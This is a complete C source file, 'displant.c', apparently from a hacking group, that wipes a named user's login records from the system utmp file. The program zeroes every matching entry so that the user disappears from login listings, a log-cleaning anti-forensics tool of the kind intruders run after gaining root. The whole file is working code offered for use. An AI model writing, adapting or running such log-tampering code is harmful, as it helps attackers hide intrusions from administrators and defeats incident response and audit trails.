/*
 * displant.c - utmp removal tool
 *
 *    coded by fred_ | blasphemy
 *
 *    Greetings to all of gH
 *
 */

#include <stdio.h>
#include <string.h>
#include <utmp.h>

int
main(int argc, char *argv[])
{
	int count = 0;
	struct utmp utmp_entry;
	FILE *utmp_file;

	printf("displant.c by fred_ blasphemy\n");

	if (argc != 2) {
		printf("ex., %s <user>\n", argv[0]);
		exit(1);
	  }

	utmp_file = fopen(_PATH_UTMP, "r+");
	if (utmp_file == NULL) {
		perror(_PATH_UTMP);
		exit(1);
	  }

	while (fread((char *)&utmp_entry,
		sizeof(utmp_entry), 1, utmp_file) > 0) {
			if (strcmp(utmp_entry.ut_name,
				argv[1]) == 0) {
					fseek(utmp_file,
						-sizeof(utmp_entry), 1);
					bzero(&utmp_entry, sizeof(utmp_entry));
					fwrite((char *)&utmp_entry,
						sizeof(utmp_entry), 1,
						utmp_file);
					count++;
			  }
	  }
	fclose(utmp_file);

	if (count == 0) {
		printf("error: %s: no such user\n", argv[1]);
		return -1;
	  }

	printf("Removed %d entrys which matched %s.\n",
		count, argv[1]);
	return 0;
}